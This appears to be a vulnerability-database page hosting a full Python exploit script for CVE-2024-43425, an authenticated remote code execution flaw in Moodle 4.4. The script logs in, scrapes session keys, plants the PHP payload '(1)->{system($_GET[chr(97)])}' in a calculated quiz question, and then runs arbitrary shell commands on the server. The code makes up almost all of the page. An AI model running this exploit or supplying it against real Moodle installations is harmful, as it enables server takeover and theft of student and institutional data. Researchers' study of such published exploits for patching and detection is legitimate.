Lucene search
K

📄 Moodle 4.4.0 Remote Code Execution

🗓️ 02 Jul 2025 00:00:00Reported by Likhith AppalaneniType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 95 Views

Authenticated remote code execution exploit for Moodle versions 4.4.0 to 4.4.1 targeting vulnerability 43425.

Related
Code
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
    # Exploit Author: Likhith Appalaneni
    # Vendor Homepage: https://moodle.org
    # Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
    # Tested Version: Moodle 4.4.0
    # Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
    # Tested On: Ubuntu 22.04, Apache2, PHP 8.2
    # CVE: CVE-2024-43425
    # References:
    # - https://github.com/aninfosec/CVE-2024-43425-Poc
    # - https://nvd.nist.gov/vuln/detail/CVE-2024-43425
    
    import argparse
    import requests
    import re
    import sys
    import subprocess
    from bs4 import BeautifulSoup
    import urllib.parse
    
    requests.packages.urllib3.disable_warnings()
    
    def get_login_token(session, login_url):
        print("[*] Step 1: GET /login/index.php to extract login token")
        try:
            response = session.get(login_url, verify=False)
            if response.status_code != 200:
                print(f"[-] Unexpected status code {response.status_code} when accessing login page")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Error connecting to {login_url}: {e}")
            sys.exit(1)
    
        soup = BeautifulSoup(response.text, "html.parser")
        token_input = soup.find("input", {"name": "logintoken"})
        if not token_input or not token_input.get("value"):
            print("[-] Failed to extract login token from HTML")
            sys.exit(1)
    
        token = token_input["value"]
        print(f"[+] Found login token: {token}")
        return token
    
    def perform_login(session, login_url, username, password, token):
        print("[*] Step 2: POST /login/index.php with credentials")
        login_payload = {
            "anchor": "",
            "logintoken": token,
            "username": username,
            "password": password,
        }
        try:
            response = session.post(
                login_url,
                data=login_payload,
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                verify=False,
            )
            if response.status_code not in [200, 303]:
                print(f"[-] Unexpected response code during login: {response.status_code}")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Login POST failed: {e}")
            sys.exit(1)
    
        if "MoodleSession" not in session.cookies.get_dict():
            print("[-] Login may have failed: MoodleSession cookie missing")
            sys.exit(1)
    
        print("[+] Logged in successfully.")
    
    def get_quiz_info(session, base_url, cmid):
        print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
        quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
        try:
            resp = session.get(quiz_edit_url, verify=False)
            if resp.status_code != 200:
                print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
                sys.exit(1)
            # Extract sesskey
            sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
            # Extract courseContextId
            ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
            # Extract category
            category_match = re.search(r';category=(\d+)', resp.text)
            if not (sesskey_match and ctxid_match and category_match):
                print("[-] Could not extract sesskey, courseContextId, or category")
                print(resp.text[:1000])
                sys.exit(1)
            sesskey = sesskey_match.group(1)
            ctxid = ctxid_match.group(1)
            category = category_match.group(1)
            print(f"[+] Found sesskey: {sesskey}")
            print(f"[+] Found courseContextId: {ctxid}")
            print(f"[+] Found category: {category}")
            return sesskey, ctxid, category
        except Exception as e:
            print(f"[-] Exception while extracting quiz info: {e}")
            sys.exit(1)
    
    def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
        print("[*] Step 3: Uploading calculated question with payload...")
        url = f"{base_url}/question/bank/editquestion/question.php"
        payload = "(1)->{system($_GET[chr(97)])}"
        post_data = {
            "initialcategory": 1,
            "reload": 1,
            "shuffleanswers": 1,
            "answernumbering": "abc",
            "mform_isexpanded_id_answerhdr": 1,
            "noanswers": 1,
            "nounits": 1,
            "numhints": 2,
            "synchronize": "",
            "wizard": "datasetdefinitions",
            "id": "",
            "inpopup": 0,
            "cmid": cmid,
            "courseid": courseid,
            "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
            "mdlscrollto": 0,
            "appendqnumstring": "addquestion",
            "qtype": "calculated",
            "makecopy": 0,
            "sesskey": sesskey,
            "_qf__qtype_calculated_edit_form": 1,
            "mform_isexpanded_id_generalheader": 1,
            "category": f"{category},{ctxid}",
            "name": "exploit",
            "questiontext[text]": "<p>test</p>",
            "questiontext[format]": 1,
            "questiontext[itemid]": 623548580,
            "status": "ready",
            "defaultmark": 1,
            "generalfeedback[text]": "",
            "generalfeedback[format]": 1,
            "generalfeedback[itemid]": 21978947,
            "answer[0]": payload,
            "fraction[0]": 1.0,
            "tolerance[0]": 0.01,
            "tolerancetype[0]": 1,
            "correctanswerlength[0]": 2,
            "correctanswerformat[0]": 1,
            "feedback[0][text]": "",
            "feedback[0][format]": 1,
            "feedback[0][itemid]": 281384971,
            "unitrole": 3,
            "penalty": 0.3333333,
            "hint[0][text]": "",
            "hint[0][format]": 1,
            "hint[0][itemid]": 812786292,
            "hint[1][text]": "",
            "hint[1][format]": 1,
            "hint[1][itemid]": 795720000,
            "tags": "_qf__force_multiselect_submission",
            "submitbutton": "Save changes"
        }
        try:
            res = session.post(url, data=post_data, verify=False, allow_redirects=False)
            if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
                print("[+] Question upload request sent. Extracting question ID from redirect.")
                qid = re.search(r"&id=(\d+)", res.headers["Location"])
                if not qid:
                    print("[-] Could not extract question ID from redirect.")
                    sys.exit(1)
                return qid.group(1)
            else:
                print(f"[-] Upload failed. Status code: {res.status_code}")
                sys.exit(1)
        except Exception as e:
            print(f"[-] Upload exception: {e}")
            sys.exit(1)
    
    def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
        print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
        wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
        data_payload = {
            "id": question_id,
            "inpopup": 0,
            "cmid": cmid,
            "courseid": courseid,
            "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
            "mdlscrollto": 0,
            "appendqnumstring": "addquestion",
            "category": f"{category},{ctxid}",
            "wizard": "datasetitems",
            "sesskey": sesskey,
            "_qf__question_dataset_dependent_definitions_form": 1,
            "dataset[0]": 0,
            "synchronize": 0,
            "submitbutton": "Next page"
        }
        try:
            res = session.post(wizard_url, data=data_payload, verify=False)
            if res.status_code == 200:
                print("[+] Dataset wizard POST submitted.")
                return False
            elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
                print("[+] Reached expected error page. Payload is being interpreted.")
                return True
            else:
                print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
                return False
        except Exception as e:
            print(f"[-] Exception during dataset wizard step: {e}")
            return False
    
    def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
        print("[*] Step 5: Triggering command: {cmd}")
        encoded = urllib.parse.quote(cmd)
        trigger_url = (
            f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
            f"&category={category}&cmid={cmid}&courseid={courseid}"
            f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
            f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
        )
        try:
            resp = session.get(trigger_url, verify=False)
            print("[+] Trigger request sent. Output below:\n")
            lines = resp.text.splitlines()
            output_lines = []
            for line in lines:
                if "<html" in line.lower():
                    break
                if line.strip():
                    output_lines.append(line.strip())
    
            print("[+] Command output (top lines):")
            print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
        except Exception as e:
            print(f"[-] Error triggering command: {e}")
            sys.exit(1)
    
    def main():
        parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
        parser.add_argument("--url", required=True, help="Target Moodle base URL")
        parser.add_argument("--username", required=True, help="Moodle username")
        parser.add_argument("--password", required=True, help="Moodle password")
        parser.add_argument("--courseid", required=True, help="Course ID")
        parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
        parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")
    
        args = parser.parse_args()
    
        session = requests.Session()
    
        login_url = f"{args.url.rstrip('/')}/login/index.php"
        token = get_login_token(session, login_url)
    
        perform_login(session, login_url, args.username, args.password, token)
    
        sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)
    
        question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)
    
        if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
            sys.exit(1)
    
        trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2025 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.18.1
EPSS0.88917
SSVC
95